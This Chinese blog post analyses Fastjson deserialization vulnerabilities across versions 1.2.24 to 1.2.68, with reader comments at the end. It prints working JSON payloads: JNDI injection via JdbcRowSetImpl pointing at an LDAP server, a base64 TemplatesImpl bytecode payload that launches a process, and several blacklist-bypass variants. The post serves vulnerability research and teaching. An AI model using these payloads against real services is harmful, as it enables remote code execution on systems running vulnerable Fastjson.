Fastjson 反序列化分析

Da22le 2022-05-25 10:08:00
漏洞分析 Web安全

前言

继续学习Fastjson反序列化

Fastjson的使用

直接上代码
先引入fastjson1.2.24依赖

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

创建一个user类

package com.hello.demo.json;

public class user {
    private String name;
    private int age;
    private String hobby;

    public user() {
    }

    public user(String name, int age, String hobby) {
        this.name = name;
        this.age = age;
        this.hobby = hobby;
    }

    public String getName() {
        System.out.println("调用了getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setName");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getHobby() {
        return hobby;
    }

    public void setHobby(String hobby) {
        this.hobby = hobby;
    }

    @Override
    public String toString() {
        return "user{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", hobby='" + hobby + '\'' +
                '}';
    }
}

在name的getter/setter中输出了一个调用方便后续调试

然后写一个测试类test

package com.hello.demo.json;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        user user = new user("张三",18,"学习");

        String s1 = JSON.toJSONString(user);
//        String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        System.out.println(s1);
//        System.out.println(s2);
        System.out.println("-----------------------------------------------------");
        Object parse = JSON.parse(s1);
        System.out.println(parse);
        System.out.println(parse.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse1 = JSON.parseObject(s1);
        System.out.println(parse1);
        System.out.println(parse1.getClass().getName());
        System.out.println("-----------------------------------------------------");
        Object parse2 = JSON.parseObject(s1,Object.class);
        System.out.println(parse2);
        System.out.println(parse2.getClass().getName());
    }
}

看一下test输出的结果

1.png

其中JSON.toJSONString(user)的功能为将类转换为json字符串，并且在转换的同时调用了get方法这是fastjson反序列中一个重要的点，这里先记住后面在解释

接着往下看，看下面三行代码，它们输出结果一致，其功能都为将json字符串转化为一个类，且都会转换为JSONObject类，但实则他们的具体实现肯定不一样，parse会转换为@type指定的类，parseObject会默认指定JSONObject类，而在parseObject参数中加一个类参数则会转换为其指定的类（这里指定Object会自动转化为JSONObject）

JSON.parse(s1)
JSON.parseObject(s1)
JSON.parseObject(s1,Object.class)

接下来把测试类test中的注释去掉，且将parse和parseObject的参数改为s2，再来看一下运行结果

2.png

先来看第一部分，调用了两次get方法这是因为调用了两次toJSONString，接着看s2的输出结果中带有一个@type参数，值为user类，区别在于在toJSONString中加了一个SerializerFeature.WriteClassName参数，其会将对象类型一起序列化并且会写入到@type字段中

第二部分，parse进行反序列化，因此json字符串中有@type因此会自动执行指定类的set方法，并且会转换为@type指定类的类型

第三部分，parseObject进行反序列话时会自动执行@type指定类的get和set方法，并且转换为JSONObject类

我们来看一下源码就明白了

3.png

其实相当于封装了一个parse，先进行了parse然后执行toJSON并且强制转换为JSONObject类
其中parse会调用set方法，toJSON会调用get方法

第四部分，虽然我们指定了类为Object类，但是我们传进去的json字符串中有@type指定的类导致其会转换为其指定的类，那这样我们指定类岂不是多余？接下来我们直接通过代码调试来看一下这个问题

重新建了一个userTest类，并且将json字符串改为没有加@type的s1并且指定类型为我们新建的userTest类，然后输出结果

Object parse2 = JSON.parseObject(s1, userTest.class);
System.out.println(parse2);
System.out.println(parse2.getClass().getName());

可以看到这个正是正常的结果，接下来我们再将s1改为指定@type的s2

4.png

会抛出异常：类型不匹配，也就是说当传进去带@type字段的json字符串后并不能够将其转换为指定类

这里为什么会这样？如果有兴趣的师傅可以继续探索

5.png

回到一开始的问题，为什么指定了Object类后输出结果却为@type指定的类型，直接调试发现了在com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze中进行了对type的判断也就是一开始传的Object.class，会首先判断是否是类，然后如果是Object.class和Serializable.class的话会直接进入到parser.parse(fieldName)中

6.png

继续往下跟进会进入到DefaultJSONParser中，会提取@type的值转换为其指定的类，到这里大概就清楚了其原因，这里简单解释一下，有兴趣的师傅可以继续探索

7.png

也就是说当我们指定@type为恶意类时，并且其getter/setter有着一定危害时，就会出现无法预估的危害，重点就在于其会自动执行getter/setter，简单的来解释下原理就是通过反射调用get方法获取值，相应的就是通过反射调用set方法存储值，其中getter自动调用还需要满足以下条件：

  • 方法名长度大于4
  • 非静态方法
  • 以get开头且第四个字母为大写
  • 无参数传入
  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

setter自动调用需要满足以下条件：

  • 方法名长度大于4
  • 非静态方法
  • 返回值为void或者当前类
  • 以set开头且第四个字母为大写
  • 参数个数为1个

除此之外Fastjson还有以下功能点：

  1. 如果目标类中私有变量没有setter方法，但是在反序列化时仍想给这个变量赋值，则需要使用Feature.SupportNonPublicField参数
  2. fastjson 在为类属性寻找getter/setter方法时，调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法，会忽略_ -字符串
  3. fastjson 在反序列化时，如果Field类型为byte[]，将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码，在序列化时也会进行base64编码

漏洞分析

1.2.24

在这个版本中有两条链子：
1. com.sun.rowset.JdbcRowSetImpl
2. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

JdbcRowSetImpl

直接来看一下JdbcRowSetImpl中的setAutoCommit函数，当this.conn为null的时候会进入到this.connect()中，而this.conn在构造函数中初始为null

8.png

继续跟进可以看见var1.lookup()经典的JNDI注入，且DataSourceName可控

9.png

因此直接构造以下payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

10.png

这里注意一点，jdk版本需要满足 8u161 < jdk < 8u191

TemplatesImpl

这个链子利用条件比较苛刻，因为要用到的变量都是private的需要在反序列化时加上Feature.SupportNonPublicField参数

11.png

先来看一下TemplatesImpl的getOutputProperties方法，它是_outputProperties的getter方法，在前面讲到过Fastjson的一些其它功能点就是在为类属性调用getter/setter时会调用smartMatch()忽略掉_ -字符串，这里还用到了另一个功能点就是因为最后payload为byte[]会进行base64编码，继续往下看这里会去调用newTransformer()

12.png

继续跟进，在newTransformerImpl对象时会进入到getTransletInstance()中

13.png

继续跟进，在getTransletInstance()中，如果在_name不等于null且_class等于null时会进入到defineTransletClasses()中，这里先继续往下看，其中_transletIndex为-1，也就是说会对_class数组中的第一个类进行实例化，并且会强制转换为AbstractTranslet，接下来来看下class是怎么来的

14.png

跟进到defineTransletClasses()中，通过for循环加载_bytecodes[]来加载类，也就是说_bytecodes[]就是我们构造注入的点，其中_tfactory不为null，并且因为加载完类后会强制类型转换为AbstractTranslet，也就是说加载的类必须为AbstractTranslet的子类，这样整条链子就齐了

15.png

总结一下TemplatesImpl链子要满足的点：

  • fastjson反序列化时需有Feature.SupportNonPublicField参数
  • _bytecodes[]需进行base64编码
  • _bytecodes[]中加载的类需为AbstractTranslet的子类
  • _name不为null
  • _tfactory不为null

payload如下：

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAiTGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0OwEAClNvdXJjZUZpbGUBAAxKREs3dTIxLmphdmEMAAQABQcAEwEAIGNvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMSR0ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAG2NvbS9oZWxsby9kZW1vL2pzb24vSkRLN3UyMQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACEKACIADwAhAAIAIgAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAjsQAAAAIABwAAAAYAAQAAACoACAAAAAwAAQAAAAUACQAMAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'exp','_tfactory':{ },"_outputProperties":{ }}

16.png

在使用JSON.parseObject反序列化时看到很多文章里加了一个config参数，发现删了这个参数并不影响漏洞的触发，然后看了一下代码，发现在JSON类中已经自动帮我们加上了这个参数

1.2.25-1.2.41

在此版本中，新增了黑名单和白名单功能
在ParserConfig中，可以看到黑名单的内容，而且设置了一个autoTypeSupport用来控制是否可以反序列化，autoTypeSupport默认为false且禁止反序列化，为true时会使用checkAutoType来进行安全检测

17.png

接着来看一下checkAutoType怎么进行拦截的，在autoTypeSupport开启的情况下先通过白名单进行判断，如果符合的话就进入TypeUtils.loadClass，然后在通过黑名单进行判断，如果在黑名单中就直接抛出异常

18.png

接着继续往下看，从Mapping中寻找类然后继续从deserializers中寻找类，这里先不做过多解释继续往下看，如果autoTypeSupport没有开启的情况下，会对指定的@type类进行黑白名单判断，然后抛出异常，最后如果autoTypeSupport开启的情况下，会再一次进行判断然后进入到TypeUtils.loadClass中

19.png

在TypeUtils.loadClass中，可以看到对[ L ;进行了处理，而其中在处理L ;
的时候存在了逻辑漏洞，可以在@type的前后分别加上L ;来进行绕过

20.png

因此构造payload如下：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

1.2.42

在此版本中，将黑名单改为了hashcode，但是在com.alibaba.fastjson.util.TypeUtils#fnv1a_64中有hashcode的计算方法，然后在checkAutoType中，使用hashcode对L ;进行了截取，然后进入到TypeUtils.loadClass中，也就是说对L ;进行双写即可绕过

21.png

payload如下：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

1.2.43

在此版本中,checkAutoType对LL进行了判断，如果类以LL开头，则直接抛出异常

22.png

在TypeUtils.loadClass中，还对[进行了处理，因此又可以通过[来进行绕过，具体可以根据报错抛出的异常来进行构造payload
payload如下：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}

该payload在前几个版本也可以使用，影响版本1.2.25 <= fastjson <= 1.2.43

1.2.44

修复了[的绕过，在checkAutoType中进行判断如果类名以[开始则直接抛出异常

1.2.45

增加了黑名单，存在组件漏洞，需要有mybatis组件

影响版本：1.2.25 <= fastjson <= 1.2.45

payload如下：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://127.0.0.1:1389/g0tvin"}}

1.2.47

在此版本中可以在不开启autoTypeSupport的情况下，触发漏洞

影响版本：1.2.25 <= fastjson <= 1.2.47

payload如下：

{
    "1": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://127.0.0.1:1389/g0tvin", 
        "autoCommit": true
    }
}

问题还是在checkAutoType中，在开启autoTypeSupport的情况下，代码会走到Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null来进行判断抛出异常，如果不符合的话会继续往下走从Mapping和deserializers中寻找类，如果存在则返回clazz

23.png

而在ParserConfig类初始化时会执行initDeserializers方法，会向deserializers中添加许多的类，类似一种缓存，其中会添加这么一个类this.deserializers.put(Class.class, MiscCodec.instance);

24.png

进入到MiscCodec类中，有这么一个方法deserialze，而在进行json反序列化时会调用这个方法，在方法内会对clazz进行判断，当类为Class.class也就是java.lang.Class类时，会进入到TypeUtils.loadClass中

25.png

26.png

在TypeUtils.loadClass中，如果cache为true则会将className放到mapping中，其中cache默认为true，className为传进来的strVal

27.png

在deserialze中，strVal由objVal强制转换而来

strVal = (String)objVal

而objVal是在parser.parse()中截取而来，且参数名必须为val，否则会抛出异常，也就是说可以通过反序列化往mapping中添加任何类，这样的话添加com.sun.rowset.JdbcRowSetImpl类，从而绕过autoTypeSupport的和黑名单的限制，然后再次传递json去触发JdbcRowSetImpl的JNDI注入

28.png

29.png

1.2.48

在MiscCodec中修改了cache的默认值，修改为false，并且对TypeUtils.loadClass中的mapping.put做了限制

1.2.68

在1.2.48 - 1.2.68中还出现了一些黑名单的绕过，这里就不细讲了，在此版本中新增了一个safeMode功能，如果开启的话，将会直接抛出异常，完全杜绝了autoTypeSupport的绕过，于此同时还曝出了在不开启safeMode的前提下，对autoTypeSupport的绕过

30.png

通过expectClass进行绕过，当传入的expectClass不在黑名单中后，expectClassFlag的值为true时，会调用TypeUtils.loadClass加载类，其中clazz也就是传进去的另一个类名必须为expectClass的子类

31.png

32.png

33.png

其中java.lang.AutoCloseable因为在白名单中，因此可以使用其子类来进行绕过autoTypeSupport
这里稍微总结一下恶意类要满足的条件：

  • 恶意类不在黑名单内
  • 恶意类的父类（例如AutoCloseable）不在黑名单内
  • 恶意类不能是抽象类
  • 恶意类中的getter/setter/static block/constructor能触发恶意操作

参考链接

  1. https://su18.org/post/fastjson/
  2. https://y4er.com/post/fastjson-learn/
  3. https://goodapple.top/archives/832

评论

J

JasonVoorhees 2022-05-25 20:38:15

学习

@@ 2022-09-22 14:10:39

师傅我有个问题。1.2.24哪里有个问题，为什么什么是161-191？

D

Da22le 2022-09-26 16:51:28

因为JdbcRowSetImpl是通过JNDI来实现rce的，191以后对JNDI注入做了限制

F

foniw 2023-01-29 17:36:51

师傅，这边有个问题
setter自动调用需要满足以下条件：
以set开头且第四个字母为大写

if (!Character.isUpperCase((char)c3) && c3 <= 512) {
if (c3 == 95) {
propertyName = methodName.substring(4);
} else if (c3 == 102) {
propertyName = methodName.substring(3);
}
这里存在两种例外，set_age和setfge这种情况也是会自动调用的

Jasper 2023-10-25 11:23:44

回@@师傅：楼主用的LDAP实现的RCE，所以需要JDK版本更高一些；实际上如果你用RMI去JNDI注入实现RCE也是可以的，版本就可以低一些。

K

k0uaz 2024-04-24 23:50:55

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取到的字段名称是fge与原属性名称不匹配。除非你把字段名称改成fge这种才会自动调用

D

Da22le

这个人很懒，没有留下任何介绍

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